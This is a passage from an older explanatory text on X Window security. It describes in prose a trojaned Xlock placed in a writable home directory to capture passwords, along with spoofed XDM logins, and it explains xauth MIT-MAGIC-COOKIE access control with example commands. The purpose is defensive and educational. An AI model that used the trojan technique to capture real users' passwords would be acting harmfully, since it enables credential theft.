If a user has a writable homedir and a ./ in her PATH environment
variable, she is vulnerable to this kind of attack. Getting the
password is achieved by placing a trojan version of Xlock in the users
homedir and waiting for an invocation.  The functionality of the
original Xlock is contained in the trojan version.  The trojan version
can even tidy up and destroy itself after one succesfull attempt, and
the user will not know that his password has been captured.

Xlock, like every password-prompting program, should be regarded with
suspicion if it shows up in places it should not be, like in your own
homedir.

Spoofed X based logins however are a bit more tricky for the intruder
to accomplish.  He must simulate the login screen of the login program
ran by XDM. The only way to ensure that you get the proper XDM login
program (if you want to be really paranoid) is to restart the
X-terminal, whatever key combination that will be for the terminal in
question.







8. X Security tools - xauth MIT-MAGIC-COOKIE

To avoid unathorized connections to your X display, the command xauth
for encrypted X connections is widely used. When you login, xdm
creates a file .Xauthority in your homedir. This file is binary, and
readable only through the xauth command. If you issue the command

$ xauth list

you will get an output of:

your.display.ip:0  MIT-MAGIC-COOKIE-1  73773549724b76682f726d42544a684a

  display name     authorization type               key

The .Xauthority file sometimes contains information from older
sessions, but this is not important, as a new key is created at every
login session. To access a display with xauth active - you must have
the current access key.

If you want to open your display for connections from a particular
user, you must inform him of your key.
He must then issue the command

$ xauth add your.display.ip:0  MIT-MAGIC-COOKIE-1 73773549724b7668etc.

Now, only that user (including yourself) can connect to your display.
Xauthority is simple and powerful, and eliminates many of the security
problems with X.





9. Concluding remarks

Thanks must go to Anthony Tyssen for sending me his accumulated info
on X security issues from varius usenet discussions. I hope someone
has found useful information in this text. It is released to the
net.community with the idea that it will help the user to understand
the security problems concerned with using X windows. Questions or
remarks can be sent to the following

Read More